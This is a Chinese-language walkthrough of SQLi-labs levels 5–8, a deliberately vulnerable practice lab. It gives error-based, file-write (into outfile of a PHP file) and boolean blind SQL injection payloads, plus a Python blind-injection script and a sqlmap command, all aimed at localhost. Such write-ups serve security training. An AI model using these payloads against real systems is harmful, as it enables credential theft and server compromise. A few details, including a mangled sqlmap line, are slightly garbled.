sql注入第5关
在这关可能会用到的函数
- extractvalue:
extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。 - updatexml:
updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。 - floor:
floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。
传入值看是否成功
尝试查询一下数据库的列数
?id=1’ order by 3 --+
?id=1’ order by 4 --+
列数是3列
查询字段超过3个后页面会报错
这时可以用
?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))–+
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+
接下来就直接利用数据库名+inforamtion_schema数据库来进行后续的注入
解决方案:
可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置
payload:
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+
sql注入第6关
初始界面
尝试闭合查看
这关和第三关很像,参考第五关的payload
sql注入第7关
输入为id=1
我们就可以尝试使用这样一种方式来将一个php文件来写入到服务的目录中:
?id=1’)) union select 1,“<?phpinfo();?>”,3 into outfile “D:\PHPstudy\phpstudy_pro\WWW\aaa.php” --+
Mysql规定这个值为NULL,则不允许进行文件导入导出操作,因此现在我们来将该值修改为空。
尝试访问一下该文件aaa.php
php成功执行,本关也就成功的通关
sql注入第8关
尝试可以使用’))来闭合,但是它却没有报错
传入的id为1,则会显示:
无论是联合查询哈市报错注入都无法注入成功的,这里就要使用布尔盲注了
我们可以先使用 length函数 + 二分法来尝试一下
?id=1’ and (select length(database())>1) and 1=1 --+ true
?id=1’ and (select length(database())>10) and 1=1 --+ flase
?id=1’ and (select length(database())>5) and 1=1 --+ true
?id=1’ and (select length(database())>6) and 1=1 --+ true
?id=1’ and (select length(database())>8) and 1=1 --+ flase
通过页面的不同响应页面来判断数据库的长度是否是我们所指定的范围,最终可以得到数据库的名称的长度为7,得到了数据库的长度后,我们就可以再利用ascii函数+substr函数来修改字符串的范围,最终判断数据库的各个字符的ascii的值,最终就可以得到完整的数据库名称
?id=1’ and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true
根据不断的变换范围,最后得到了第一个字母的ascii码大于113但是不大于115,因此,它的ascii码就是114,对照ASCII码表,得到第一个字母为‘s’。同样的方法,我们可以变化substr()里面的第二个参数分别为2,3,4,5,6,7,最后可以获得接下来的其他七个字母,最终得到“security”。但手工方法会非常的费时费力,可以使用python写一个二分法查找的布尔盲注脚本来方便使用:
import requests
url = "http://127.0.0.1/sqli-labs/Less-8/"
def inject_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)
inject_database(url)
使用sqlmap进行时间盲注就非常简单了,直接将url输入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1